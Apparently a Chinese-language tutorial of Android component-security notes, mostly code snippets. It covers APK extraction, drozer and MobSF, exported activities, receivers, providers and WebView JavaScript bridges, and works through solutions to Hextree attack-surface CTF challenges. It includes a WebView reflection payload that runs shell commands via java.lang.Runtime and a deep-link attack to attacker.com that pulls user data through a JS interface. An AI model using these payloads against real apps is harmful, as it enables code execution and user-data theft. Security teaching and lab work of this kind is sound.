Android APP 组件安全入门

# 查找目标包名
adb shell pm list packages | grep target

# 获取真实路径
adb shell pm path com.target.app

# 拉取 APK
adb pull /data/app/com.target.app-XXX/base.apk target.apk

adb shell pm path com.target.app
# Output shows multiple paths:
# package:/data/app/com.target.app-XXX/base.apk
# package:/data/app/com.target.app-XXX/split_config.arm64_v8a.apk
# package:/data/app/com.target.app-XXX/split_config.en.apk

adb pull /data/app/com.target.app-XXX/ target_apk_bundle/

pip3 install drozer

docker pull opensecurity/mobile-security-framework-mobsf

#后台方式 + 数据持久化
docker run -d -p 8000:8000 --name MobSF -v /tools/mobile/mobsf_data:/root/.MobSF opensecurity/mobile-security-framework-mobsf

adb forward tcp:31415 tcp:31415
drozer console connect

Intent intent = new Intent();
intent.setComponent(new ComponentName("io.hextree.activitiestest","io.hextree.activitiestest.SecondActivity"));
startActivity(intent);

Intent intent = new Intent();
intent.setClassName("io.hextree.activitiestest","io.hextree.activitiestest.SecondActivity");
startActivity(intent);

Intent intent =getIntent();
String url = intent.getStringExtra("url");
webView.loadUrl(url);

String filePath = intent.getStringExtra("filepath");
File file =newFile(filePath);
FileInputStream fis =newFileInputStream(file);

<activity android:name=".SensitiveActivity">
    <intent-filter>
        <action android:name="com.example.SENSITIVE_ACTION" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

Intent intent = new Intent();
intent.setAction("com.example.SENSITIVE_ACTION");
// 可以添加额外数据欺骗参数
intent.putExtra("cmd", "leak_sensitive_data");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);

run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

Intent i = new Intent(); 
if (i.getAction().equals("NullPointerException")) { 
	Log.d("TAG", "Test"); 
}

Intent i = getIntent(); 
String test = (String)i.getSerializableExtra("key");

Intent intent = getIntent(); 
ArrayList<Integer> 
intArray = intent.getIntegerArrayListExtra("id"); 
if (intArray != null) { 
	for (int i = 0; i < NUM; i++) { 
		intArray.get(i); 
	} 
}

package com.feichen.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class MyReceiver extends BroadcastReceiver {
	private static final String TAG = "MyReceiver";
	@Override
	public void onReceive(Context content,Intent intent){
		String msg = intent.getStringExtra("msg");
		Log.i(TAG,msg);
	}
}

<receiver android:name=".MyReceiver">
	<intnet-filter>
		<action android:name="android.intent.action.MY_BROADCAST">
		<category android:name="android.intent.action.MY_BROADCAST">
	</intnet-filter>
</receiver>

MyReceiver receiver = new MyReceiver();
IntentFilter filter = new IntentFilter();
filter.addAction("android.intent.action.MY_BROADCAST");
registerReceiver(receiver,filter);s

public void send(View view){
	Intent intent = new Intent("android.intent.action.MY_BROADCAST");
	intent.putExtra("msg","hello receiver.");
	sendBroadcast(intent);
}

public abstract ContentResolver getContentResolver();

contentResolver.registerContentObserver(uri, notifyForDescendants, observer);

content://<authority>/<path>/<id>

content://com.carson.provider/User/1

Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://hextree.io/"));
startActivity(browserIntent);

<!-- AndroidManifest.xml -->
<intent-filter>
    <action android:name="android.intent.action.SEND" />
    <data android:mimeType="text/plain" />
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>

ContentProvider.openFile（Uri uri，String mode）

<a href="grab://open?screenType=HELPCENTER&page=https://attacker.com/page2.html">Begin attack!</a>

mWebView.addJavascriptInterface(
    new ZendeskSupportActivity.WebAppInterface(this),
    "Android"
);

@JavascriptInterface
public String getGrabUser() {
    return GsonUtils.toJson(zendeskSupportActivity.getMPresenter().getGrabUser());
}

window.Android.getGrabUser()

if (Utils.Condition.isIOSApp()) {
    Stores.GrabUser.setGrabUser(window.grabUser);
}

JSON.parse(Android.getGrabUser());

data = JSON.stringify(window.grabUser)

data = window.Android.getGrabUser();

mWebView.getSettings().setJavaScriptEnabled(true);  
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

function execute(cmdArgs)  
{  
    for (var obj in window) {  
       if ("getClass" in window[obj]) {  
            alert(obj);  
            return  window[obj].getClass().forName("java.lang.Runtime")
                         .getMethod("getRuntime", null)
                         .invoke(null, null)
                         .exec(cmdArgs);  
        }  
    }  
}

<html>  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
<script>
var i = 0;
function getContents(inputStream) {
    var contents = "" + i;
    var b = inputStream.read();
    var i = 1;
    while(b != -1) {
        contents += String.fromCharCode(b) + "\n";
        b = inputStream.read();
    }
    i = i + 1;
    return contents;
}

function execute(cmdArgs) {
    for (var obj in window) {
        console.log(obj);
        if ("getClass" in window[obj]) {
            alert(obj);
            return window[obj].getClass().forName("java.lang.Runtime")
                    .getMethod("getRuntime", null)
                    .invoke(null, null)
                    .exec(cmdArgs);
        }
    }
}

var p = execute(["ls", "/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>

<script language="javascript">
function onButtonClick() {
    var text = jsInterface.onButtonClick("从 JS 传入的文本");
    alert(text);
}

function onImageClick() {
    var src = document.getElementById("image").src;
    var width = document.getElementById("image").width;
    var height = document.getElementById("image").height;
    jsInterface.onImageClick(src, width, height);
}
</script>
</head>

<body>
<p>点击图片与 Java 代码交互</p>
<img class="curved_box" id="image" onclick="onImageClick()" width="328" height="185"
     src="https://avicoder.me/webview/phuck.png"
     onerror="this.src='phuckerror.png'"/>
<button type="button" onclick="onButtonClick()">与 Java 交互</button>
</body>
</html>

return window[obj].getClass().forName("java.lang.Runtime")
            .getMethod("getRuntime", null)
            .invoke(null, null)
            .exec(cmdArgs);

mWebView = (WebView) findViewById(R.id.webview);  
mWebView.getSettings().setJavaScriptEnabled(true);  
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
mWebView.loadUrl("file:///android_asset/html/test.html");

<uses-permission android:name="android.permission.INTERNET"/>  
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

class JsObject {
   @JavascriptInterface
   public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");

webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(newFileOperations(),"Android");

class FileOperations {
@JavascriptInterface
publicStringreadFile(String path){
// Reads any file accessible to the app
returnnewString(Files.readAllBytes(Paths.get(path)));
}
}

webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);

<activity
    android:name="io.hextree.attacksurface.activities.Flag1Activity"  
    android:exported="true"/>
<activity

package com.example.poc;

import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        try {
            Intent intent = new Intent();
            //setClassName 方法用于指定目标包名和类名
            intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag1Activity");
            //StartActivity 用于启动活动
            startActivity(intent);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

#adb
adb shell am start -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity
#drozer

 <activity  
        android:name="io.hextree.attacksurface.activities.Flag2Activity"
        android:exported="true">
        <intent-filter>
            <action android:name="io.hextree.action.GIVE_FLAG"/>
        </intent-filter>
</activity>

package com.example.poc;

import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        try {
            Intent intent = new Intent();
            
            //设置 Action
			intent.setAction("io.hextree.action.GIVE_FLAG");  
            
            //setClassName 方法用于指定目标包名和类名
            intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity");
            //StartActivity 用于启动活动
            startActivity(intent);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

 <activity  
        android:name="io.hextree.attacksurface.activities.Flag3Activity"
        android:exported="true">
        <intent-filter>
            <action android:name="io.hextree.action.GIVE_FLAG"/>
            <data android:scheme="https"/>
        </intent-filter>
</activity>

Intent intent = new Intent();
intent.setAction("io.hextree.action.GIVE_FLAG");
intent.setData(Uri.parse("https://example.com"));
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag3Activity");
startActivity(intent);

package com.example.poc;  
  
import android.content.Intent;  
import android.os.Bundle;  
import androidx.appcompat.app.AppCompatActivity;  
import android.net.Uri;  
  
public class MainActivity extends AppCompatActivity {  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
  
        try {  
            Intent intent = new Intent();  
  
            //设置 Action            intent.setAction("io.hextree.action.GIVE_FLAG");  
  
            //setData 设置 Uri 参数  
            intent.setData(Uri.parse("https://app.hextree.io/map/android"));  
  
            //setClassName 方法用于指定目标包名和类名  
            intent.setClassName(  
                    "io.hextree.attacksurface",  
                    "io.hextree.attacksurface.activities.Flag3Activity"  
            );  
            //StartActivity 用于启动活动  
            startActivity(intent);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

homeButton.setOnClickListener(new View.OnClickListener() {  
        @Override  
        public void onClick(View v) {  
            String currentAction = actions[actionIndex];  
            // 每次点击索引 +1 并取模 4，获取下一个 Action 字符串  
            actionIndex = (actionIndex + 1) % actions.length;  
            Intent intent = new Intent();  
            intent.setAction(currentAction);  
            intent.setData(Uri.parse("https://app.hextree.io/map/android"));  
            intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity");  
            startActivity(intent);  
        }  
    });  
}

Intent nextIntent = new Intent();  
nextIntent.putExtra("reason", "back");   //最内层 intent  
Intent Intent2 = new Intent();  
Intent2.putExtra("return", 42);  
Intent2.putExtra("nextIntent", nextIntent);   // 中间层 intent  
Intent Intent = new Intent();   // 最外层 intent  
Intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity");  
Intent.putExtra(Intent.EXTRA_INTENT, Intent2);  
startActivity(Intent);

Intent nextIntent = new Intent();  
nextIntent.putExtra("reason", "next");  
nextIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);  
nextIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity");  
Intent Intent2 = new Intent();  
Intent2.putExtra("return", 42);  
Intent2.putExtra("nextIntent", nextIntent);  
Intent Intent = new Intent();  
Intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity");  
Intent.putExtra(Intent.EXTRA_INTENT, Intent2);  
startActivity(Intent);

Intent Intent1 = new Intent();  
Intent1.setAction("OPEN");  
Intent1.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity");  
startActivity(Intent1);  
v.postDelayed(() ->{  
    Intent Intent2 = new Intent();  
    Intent2.setAction("REOPEN");  
    Intent2.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity");  
    Intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);  
    startActivity(Intent2);  
},100);

<activity                    		
          android:name="io.hextree.attacksurface.activities.Flag8Activity"
          android:exported="true"/>
<activity

package com.poc.hack;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

public class HextreeCallerActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent i = new Intent();
        i.setComponent(new ComponentName(
                "io.hextree.attacksurface",
                "io.hextree.attacksurface.activities.Flag8Activity"
        ));

        startActivityForResult(i, 1337);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {

        super.onActivityResult(requestCode, resultCode, data);
        System.out.println("Flag8 返回：" + data);
    }
}

drozer console connect

run scanner.provider.finduris -a infosecadventures.allsafe

<WebView 
	android:id="@+id/big_webview" 
	android:layout_width="match_parent" 
	android:layout_height="match_parent"> 
</WebView>

WebView webView = findViewById(R.id.big_webview); 
webView.loadUrl("https://www.hextree.io");

WebView webView = findViewById(R.id.webView); 
webView.getSettings().setJavaScriptEnabled(true); // Enable JavaScript if needed 
webView.loadUrl("file:///android_asset/index.html");

WebView webView = findViewById(R.id.webView); webView.getSettings().setAllowFileAccess(true); //webView.getSettings().setAllowContentAccess(true); //webView.getSettings().setAllowFileAccessFromFileURLs(true); //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);

package io.hextree.attacksurface.activities;

import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import io.hextree.attacksurface.AppCompactActivity;
import io.hextree.attacksurface.C0975R;
import io.hextree.attacksurface.LogHelper;
import io.hextree.attacksurface.webviews.Flag38WebViewsActivity;

public class Flag38Activity extends AppCompactActivity {
    //flag字段
    public static String FLAG = "XvF6eM9PbfHOYUYh85/0bOS7CGN2Wr9pzC7dZiBYyJs=";

    public Flag38Activity() {
        this.name = "Flag 38 - @JavascriptInterface";
        this.tag = "WebView";
        this.tagColor = C0975R.color.blue;
        this.flag = FLAG;
        this.allowOpenActivity = true;
        this.description = Flag38WebViewsActivity.class.getCanonicalName();
    }

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.f182f = new LogHelper(this);
        Intent intent = getIntent();
        this.f182f.addTag("/flag/38");
        if (Flag38WebViewsActivity.secret.equals(intent.getStringExtra("secret"))) {
            checkStatus(this);
        }
        ((Button) findViewById(C0975R.id.btn_action)).setText("OPEN WEBVIEW");
        ((Button) findViewById(C0975R.id.btn_action)).setVisibility(0);
        findViewById(C0975R.id.btn_action).setOnClickListener(new View.OnClickListener() { 
        @Override
        public final void onClick(View view) {
                this.f$0.m149x9b1b477d(view);
        }
        });
        if (isSolved()) {
            return;
        }
        new Handler(Looper.getMainLooper()).postDelayed(new Runnable() {
            @Override
            public final void run() {
                this.f$0.m150xc8f3e1dc();
            }
        }, 400L);
    }

    void m149x9b1b477d(View view) {
        startActivity(new Intent(this, (Class<?>) Flag38WebViewsActivity.class));
    }

    void m150xc8f3e1dc() {
        startActivity(new Intent(this, (Class<?>) Flag38WebViewsActivity.class));
    }
}

package io.hextree.attacksurface.webviews;

import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.webkit.JavascriptInterface;
import android.webkit.WebView;
import android.widget.TextView;
import android.widget.Toast;
import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.OnApplyWindowInsetsListener;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import io.hextree.attacksurface.C0975R;
import io.hextree.attacksurface.activities.Flag38Activity;
import java.util.UUID;

public class Flag38WebViewsActivity extends AppCompatActivity {
    public static String secret = UUID.randomUUID().toString();

    class JsObject {
        JsObject() {
        }

        @JavascriptInterface
        public void toastDemo() {
            Toast.makeText(Flag38WebViewsActivity.this.getApplicationContext(), "Called from WebView", 0).show();
        }

        @JavascriptInterface
        public String success(boolean z) {
            if (z) {
                Flag38WebViewsActivity.this.success();
                return "success(true)";
            }
            return "success(Boolean secret) requires `true` parameter";
        }
    }

    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        EdgeToEdge.enable(this);
        setContentView(C0975R.layout.activity_web_view);
        String stringExtra = getIntent().getStringExtra("URL");
        if (stringExtra == null) {
            stringExtra = "file:///android_asset/flag38.html";
        }
        ((TextView) findViewById(C0975R.id.txt_webview_header)).setText(getClass().getSimpleName());
        ((TextView) findViewById(C0975R.id.txt_webview_subtitle)).setText(stringExtra);
        final WebView webView = (WebView) findViewById(C0975R.id.main_webview);
        //WebView初始化
        webView.getSettings().setJavaScriptEnabled(true);
        //暴露JS对象hextree
        webView.addJavascriptInterface(new JsObject(), "hextree");
        //页面加载本地flag38.html
        webView.loadUrl(stringExtra);
        findViewById(C0975R.id.button_back).setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                this.f$0.m158x89ddf80a(view);
            }
        });
        findViewById(C0975R.id.button_reload).setOnClickListener(new View.OnClickListener() { 
            @Override 
            public final void onClick(View view) {
                webView.reload();
            }
        });
        ViewCompat.setOnApplyWindowInsetsListener(findViewById(C0975R.id.main), new OnApplyWindowInsetsListener() { 
            @Override 
            public final WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) {
                return Flag38WebViewsActivity.lambda$onCreate$2(view, windowInsetsCompat);
            }
        });
    }

    void m158x89ddf80a(View view) {
        finish();
    }

    static WindowInsetsCompat lambda$onCreate$2(View view, WindowInsetsCompat windowInsetsCompat) {
        Insets insets = windowInsetsCompat.getInsets(WindowInsetsCompat.Type.systemBars());
        view.setPadding(insets.left, insets.top, insets.right, insets.bottom);
        return windowInsetsCompat;
    }

    public void success() {
        Log.i(getClass().getSimpleName(), "success()");
        try {
            Intent intent = new Intent();
            intent.setClass(this, Flag38Activity.class);
            intent.putExtra("secret", secret);
            intent.addFlags(268435456);
            intent.putExtra("hideIntent", true);
            startActivity(intent);
        } catch (Exception e) {
            e.printStackTrace();
            Log.e(getClass().getSimpleName(), "Exception in start activity. Restart the target app and try again.", e);
        }
    }
}

adb shell "am start -n io.hextree.attacksurface/io.hextree.attacksurface.webviews.Flag38WebViewsActivity -e URL \"javascript:hextree.success(true)\""